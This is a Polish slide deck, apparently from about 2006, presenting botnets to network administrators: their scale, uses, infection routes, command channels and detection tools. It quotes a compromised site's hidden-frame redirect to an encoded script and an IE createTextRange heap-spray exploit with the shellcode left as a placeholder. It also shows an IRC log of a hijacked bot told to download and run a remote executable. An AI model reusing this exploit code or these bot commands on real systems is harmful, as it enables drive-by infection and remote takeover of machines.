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Botnet z punktu widzenia 
administratora sieci.

'Dajcie mi rząd dusz, a będę 
rządził światem...'
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BOTNET:
Sieć komputerów, zainfekowanych 
oprogramowaniem, umożliwiającym 
zdalną kontrolę.

Definicja
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Liczby
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- Firma antywirusowa Trend Micro szacuje, że liczba 
przejętych komputerów wynosi obecnie około:
70 milionów.

- Styczeń 2006 – 20 letni Jeanson James Ancheta 
zostaje uznany winnym zarażenia i kontroli ponad 
400 000 komputerów.

- Specjalizująca się w analizie i obronie przed 
atakami typu DDOS firma Prolexic podaje statystyki 
dotyczące wartości “siły” analizowanych przez nich 
ataków:

Rok 2005 – 3.5 Gbps
Rok 2006 - > 10 Gbps



  

Cele
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Dlaczego warto posiadać botnet:
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Dlaczego warto posiadać botnet:
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Dlaczego warto posiadać botnet:
- SPAM
- DDOS
- CLICK FRAUD
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- WCIŚNIĘCIA KLAWISZY/ZRZUTY EKRANU
- PODSŁUCHIWANIE RUCHU SIECIOWEGO
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Dlaczego warto posiadać botnet:
- SPAM
- DDOS
- CLICK FRAUD
- PHISHING SITES

- DANE PERSONALNE
- DANE AUTENTYKACYJNE
- KLUCZE CD
- WCIŚNIĘCIA KLAWISZY/ZRZUTY EKRANU
- PODSŁUCHIWANIE RUCHU SIECIOWEGO
- PRZEKIEROWANIA PORTÓW|PROXY|IRC BOUNCE
- WYNAJEM

Cele
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Sposoby infekcji:

Infekcje
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Sposoby infekcji:

- RANGE SCAN
* Microsoft Windows
+ Microsoft Windows RPC
+ Microsoft LSA Service
+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]
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Sposoby infekcji:
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Sposoby infekcji:

- RANGE SCAN
* Microsoft Windows
+ Microsoft Windows RPC
+ Microsoft LSA Service
+ Microsoft Windows Core DLL
[Porty: 135, 139, 445]

* Ssh – brute force scan
* Błędy aplikacji

- WWW !

Infekcje
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Infekcje

FIREFOX 1.5.X

Wersja: Data wydania: Krytyczny błąd:
1.5 2005-12-08 2006.02.01
1.5.0.1 2006-02-17 2006.04.13
1.5.0.2 2006-04-13 2006.05.02
1.5.0.3 2006-05-08 2006.06.01
1.5.0.4 2006-06-09 2006.07.25
1.5.0.5 2006-07-26
1.5.0.6 2006-08-02 2006.09.14
1.5.0.7 2006-09-28 ?

< 60 dni
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Infekcje

2006 wrzesień – tysiące stron hostowanych przez 
serwery dużej firmy hostingowej HostGator 
[ ponad 200 000 hostowanych domen] - zostają 
zaatakowane  [ nieznany błąd w cPanelu ] i 
zarażone kodem wykorzystującym błąd w 
przeglądarce IE – VML stack buffer overflow

2006 lipiec – w wielu światowych portalach 
[ www.myspace.com, webshots.com ] zostaje  
wyświetlona reklama [banner] wykorzystująca błąd w 
przeglądarce IE – Vulnerability in Graphics Rendering 
Engine [ WMF ]



  

Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesyłanie zainfekowanych plików

Infekcje
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www.radiomaryja.be

<HTML><HEAD><TITLE>Radio Maryja - Katolicki Głos w Twoim 
Domu</TITLE>
<META NAME="Keywords" CONTENT="Radio, Maryja, Tadeusz,Rydzyk">
<META NAME="Description" CONTENT=""></HEAD>
<FRAMESET ROWS="*,0">
<FRAME SRC="http://ircgalaxy.pl/hello/" MARGINHEIGHT=0 
MARGINWIDTH=0 NORESIZE></FRAMESET>

ircgalaxy.pl/hello/

<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-
8859-2">
<META HTTP-EQUIV="Refresh" CONTENT="3; 
url=http://www.radiomaryja.pl/">
<TITLE>Proszę czekać</TITLE>
<SCRIPT LANGUAGE="JScript.Encode" SRC="banner.jse"></SCRIPT>
</HEAD>
<BODY BGCOLOR="#FFFFFF">
Trwa ładowanie strony, proszę czekać...
</BODY>
</HTML>



  

function f() {
document.write('<input type="checkbox" id="blah" style="visibility: 
hidden; display:none">');
sc12 = unescape("shellcode");
bb = unescape("%u9090%u9090");
trigger = 'xtRa';
slsp = 20 + sc12.length;
while (bb.length < slsp)
  bb += bb;
  fb = bb.substring(0, slsp);
  block = bb.substring(0, bb.length-slsp);
  while(block.length + slsp < 0x40000)
    block = block + block + fb;
    memory = new Array();
    for (i = 0; i < 2020; i++)
      memory[i] = block + sc12;
      eval('document.getElementById("blah").createTe'+trigger+'nge()')
  }
setTimeout("f()",100);

Microsoft Internet Explorer "createTextRange()" Code Execution



  



  



  

Microsoft Internet Explorer WMF Memory Corruption Vulnerability



  

Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesyłanie zainfekowanych plików

- Przechwytywanie botnetów
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Sposoby infekcji:

- Instant messaging [IM] | E-mail
* Przekierowania na zainfekowane strony
* Przesyłanie zainfekowanych plików

- Przechwytywanie botnetów

- Fałszywe serwery gier

- P2P

Infekcje
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Sposoby komunikacji:

C&C [command-and-control]

Komunikacja
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Sposoby komunikacji:

C&C [command-and-control]

- IRC

- WWW

- P2P

- ? SKYPE | DNS ? 

Komunikacja
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Sposoby wykrywania:

Detekcja
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Sposoby wykrywania:

- DOSDETECTOR

- IRC-PROXY

- IDS / HONEYPOT

- ANTI-SPAM SMTP PROXY

- NGREP / TCPDUMP

Detekcja
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Man in the middle - IRC
POL [POL]-28491
USER nzunqnn 0 0 :[POL]-28491
JOIN #atl# haslo1
1)
:witam!ciebie@securecon.pl PRIVMSG #atl# :.admin zupa
NOTICE witam :Pass auth failed (witam!ciebie@securecon.pl).
NOTICE witam :Your attempt has been logged.
2)
:witam!ciebie@securecon.pl PRIVMSG #atl# :.admin haslo2
NOTICE witam :Host Auth failed (witam!ciebie@securecon.pl).
NOTICE witam :Your attempt has been logged.
3)
:witam!borys@securecon.pl PRIVMSG #atl# :.admin haslo2
NOTICE witam :Host Auth failed (witam!borys@securecon.pl).
NOTICE witam :Your attempt has been logged.
4)
:jestem!borys@md.comcast.net PRIVMSG #atl# :.stats
5)
:jestem!borys@md.comcast.net PRIVMSG #atl# :.admin haslo2
PRIVMSG #atl# :[MAIN]: Password accepted.
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Man in the middle - IRC

6)
:jestem!borys@md.comcast.net PRIVMSG #atl# :.stats
PRIVMSG #atl# :[SCAN]: Exploit Statistics: WebDav: 0, NetBios: 0, NTPass: 0, 
Dcom135: 0, Dcom445: 0, Dcom1025: 0, Dcom2: 0, IIS5SSL: 0, MSSQL: 0, 
Beagle1: 0, Beagle2: 0, MyDoom: 0, lsass_445: 0, lsass_139: 0, Optix: 0, 
UPNP: 0, NetDevil: 0, DameWare: 0, Kuang2: 0, Private: 0, Sub7: 0, Total: 0 
in 0d 0h 3m.

7)
:jestem!borys@md.comcast.net PRIVMSG #atl# :.update 
http://akron.net.pl/~borys/ping.exe [POL]-28491
PRIVMSG #atl# :[UPDATE]: Downloading update from: 
http://akron.net.pl/~borys/ping.exe.
PRIVMSG #atl# :[DOWNLOAD]: Downloaded 18.5KB to 
C:\DOCUME~1\UZYTKO~1\USTAWI~1\Temp\xhjytvh.exe @ 18.5KB/sec. 
Updating.

8)
:jestem!borys@md.comcast.net PRIVMSG #atl# :.reboot
PRIVMSG #atl# :[MAIN]: Rebooting system.
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Man in the middle - WWW
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Man in the middle - WWW



  

Referencje

Dokumenty:
http://www.cs.wisc.edu/~pb/botnets_final.pdf
http://www.cert.org/archive/pdf/Botnets.pdf
http://www.honeynet.org/papers/bots/
http://sunsite.informatik.rwth-aachen.de/Publications/AIB/2005/2005-07.pdf
http://www.cs.ucf.edu/~czou/research/botnet_tzmodel_NDSS06.pdf
http://www.cs.wisc.edu/~pb/botnets_final.pdf
http://pi1.informatik.uni-annheim.de/publications/index

Narz dzia:ę
DOSDETECTOR:
http://darkzone.ma.cx/resources/unix/dosdetector/
IRC-PROXY:
http://irc-proxy.packetconsulting.pl
ANTI-SPAM SMTP PROXY
http://assp.sourceforge.net/
IDS / HONEYPOTS:
http://www.honeynet.org/tools/
http://honeytrap.sourceforge.net
http://nepenthes.mwcollect.org
http://www.snort.org

Borys Łącki



  

Kontakt

Dziękuję za uwagę...

borys@bohater.net
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